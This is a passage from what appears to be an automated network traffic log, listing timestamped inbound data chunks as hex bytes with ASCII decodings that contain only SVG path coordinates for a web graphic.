2c 31 2e 37 31 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2d 33 2e 33 33 2d 2e 39 34 2c 32 2e 33 Data Ascii: 2.86"/><path class="cls-4" d="M910,361.21a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"/><path class="cls-4" d="M909.79,354.28a1.71,1.71,0,0,1-.78,2.23,2.5,2.5,0,0,1-3.33-.94,2.3
2023-07-27 19:54:36 UTC	6005	IN	Data Raw: 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 36 2e 39 34 2c 32 33 35 2e 37 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 36 2e 37 2c 32 32 38 2e 37 36 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 Data Ascii: 9,0,2.12,2.12,0,0,1,.16,2.86"/><path class="cls-4" d="M926.94,235.7a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.85"/><path class="cls-4" d="M926.7,228.76a1.72,1.72,0,0,1-.78,2.24,2
2023-07-27 19:54:36 UTC	6021	IN	Data Raw: 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 32 37 2e 31 31 2c 31 37 30 2e 35 37 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 32 37 2e 33 34 2c 31 37 37 2e 34 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 32 2c 32 2e 33 39 2c 32 Data Ascii: 82"/><path class="cls-4" d="M1027.11,170.57a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.38,2.38,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"/><path class="cls-4" d="M1027.34,177.4a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.92,2.39,2
2023-07-27 19:54:36 UTC	6037	IN	Data Raw: 2d 2e 31 36 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 31 30 2e 36 39 2c 33 30 31 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 39 37 2e 35 31 2c 31 31 36 2e 38 38 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 Data Ascii: -.16-2.81"/><path class="cls-4" d="M1010.69,301a1.7,1.7,0,0,1,.77-2.2,2.47,2.47,0,0,1,3.28.92,2.37,2.37,0,0,1-.5,2.85,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.81"/><path class="cls-4" d="M997.51,116.88a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.3
2023-07-27 19:54:37 UTC	6053	IN	Data Raw: 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 38 31 2e 30 39 2c 32 34 37 2e 33 32 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 38 31 Data Ascii: .37,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"/><path class="cls-4" d="M981.09,247.32a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.38,2.38,0,0,1-.51,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.15-2.82"/><path class="cls-4" d="M981
2023-07-27 19:54:37 UTC	6069	IN	Data Raw: 2c 31 38 36 2e 38 31 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 35 31 2e 34 39 2c 31 39 33 2e 36 34 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 32 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e Data Ascii: ,186.81a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.51,2.84,2.22,2.22,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"/><path class="cls-4" d="M951.49,193.64a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.92,2.39,2.39,0,0,1-.5,2.85,2.23,2.23,0,0,1-2.
2023-07-27 19:54:37 UTC	6085	IN	Data Raw: 30 2c 31 2d 32 2e 38 36 2c 30 41 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2c 39 32 32 2c 31 32 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 31 2e 36 37 2c 31 33 33 2e 31 32 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 31 2e 39 2c 31 34 30 61 31 2e 36 38 2c 31 2e 36 38 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e Data Ascii: 0,1-2.86,0A2.09,2.09,0,0,1,922,125"/><path class="cls-4" d="M921.67,133.12a1.69,1.69,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.1,2.1,0,0,1-.15-2.82"/><path class="cls-4" d="M921.9,140a1.68,1.68,0,0,1,.76-2.2,2.
2023-07-27 19:54:37 UTC	6101	IN	Data Raw: 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 30 35 2e 34 37 2c 32 37 30 2e 33 39 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 41 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2c 39 30 39 2c 32 37 32 61 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c Data Ascii: 48,2.48,0,0,1,3.29.93,2.38,2.38,0,0,1-.5,2.84,2.23,2.23,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.82"/><path class="cls-4" d="M905.47,270.39a1.7,1.7,0,0,1,.77-2.2,2.47,2.47,0,0,1,3.29.93A2.38,2.38,0,0,1,909,272a2.23,2.23,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"/><
2023-07-27 19:54:37 UTC	6117	IN	Data Raw: 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 35 2e 36 35 2c 32 30 39 2e 38 37 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 39 2c 32 2e 34 39 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 35 2e 38 38 2c 32 31 36 2e 37 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d Data Ascii: class="cls-4" d="M875.65,209.87a1.69,1.69,0,0,1,.76-2.2,2.49,2.49,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"/><path class="cls-4" d="M875.88,216.7a1.69,1.69,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-
2023-07-27 19:54:37 UTC	6133	IN	Data Raw: 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 34 36 2e 30 35 2c 31 35 36 2e 31 39 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 Data Ascii: 36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"/><path class="cls-4" d="M846.05,156.19a1.69,1.69,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.16-2.81"/><path class="cls-4" d="
2023-07-27 19:54:37 UTC	6149	IN	Data Raw: 2c 32 38 36 2e 36 33 61 31 2e 36 38 2c 31 2e 36 38 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 32 39 2e 38 36 2c 32 39 33 2e 34 35 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 Data Ascii: ,286.63a1.68,1.68,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.92,2.37,2.37,0,0,1-.5,2.85,2.23,2.23,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"/><path class="cls-4" d="M829.86,293.45a1.7,1.7,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.21,2.21,0,0,1-2
2023-07-27 19:54:37 UTC	6165	IN	Data Raw: 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 30 30 2c 32 33 32 2e 39 34 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 30 30 2e 32 36 2c 32 33 39 2e 37 37 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 Data Ascii: ,0,0,1-.16-2.81"/><path class="cls-4" d="M800,232.94a1.7,1.7,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"/><path class="cls-4" d="M800.26,239.77a1.7,1.7,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.9
2023-07-27 19:54:37 UTC	6181	IN	Data Raw: 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 30 35 2c 32 32 39 2e 32 35 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 30 34 2e 37 33 2c 32 32 31 2e 35 33 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 Data Ascii: 37,2.37,0,0,1,.18,3.18"/><path class="cls-7" d="M505,229.25a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.37,2.37,0,0,1,.18,3.18"/><path class="cls-7" d="M504.73,221.53a1.92,1.92,0,0,1-.87,2.49,2.79,2.79
2023-07-27 19:54:37 UTC	6197	IN	Data Raw: 3d 22 4d 35 32 33 2e 38 31 2c 38 39 2e 35 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 32 33 2e 35 35 2c 38 31 2e 38 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e Data Ascii: ="M523.81,89.56a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M523.55,81.84a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.66,2.66,0,0,1,.57-3.21,2.5,2.
2023-07-27 19:54:37 UTC	6213	IN	Data Raw: 2e 36 36 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 35 37 2e 35 32 2c 31 35 37 2e 39 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 Data Ascii: .66a1.92,1.92,0,0,1-.87,2.49,2.8,2.8,0,0,1-3.71-1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M557.52,157.94a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3
2023-07-27 19:54:37 UTC	6229	IN	Data Raw: 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 39 31 2e 34 39 2c 32 33 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 38 2c 32 2e 37 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 Data Ascii: 9,0,0,1-3.71-1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.18,3.17"/><path class="cls-7" d="M591.49,234a1.92,1.92,0,0,1-.87,2.49,2.78,2.78,0,0,1-3.71-1.05,2.67,2.67,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><pa
2023-07-27 19:54:37 UTC	6245	IN	Data Raw: 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 31 30 2e 33 31 2c 39 34 2e 33 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 38 2c 32 2e 37 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 31 30 2e 30 35 2c 38 36 2e 36 34 Data Ascii: 1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M610.31,94.36a1.91,1.91,0,0,1-.87,2.48,2.78,2.78,0,0,1-3.71-1,2.67,2.67,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M610.05,86.64
2023-07-27 19:54:37 UTC	6261	IN	Data Raw: 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 34 34 2e 32 38 2c 31 37 30 2e 34 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 34 34 2c 31 36 32 2e 37 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c Data Ascii: 6,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M644.28,170.46a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M644,162.74a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,
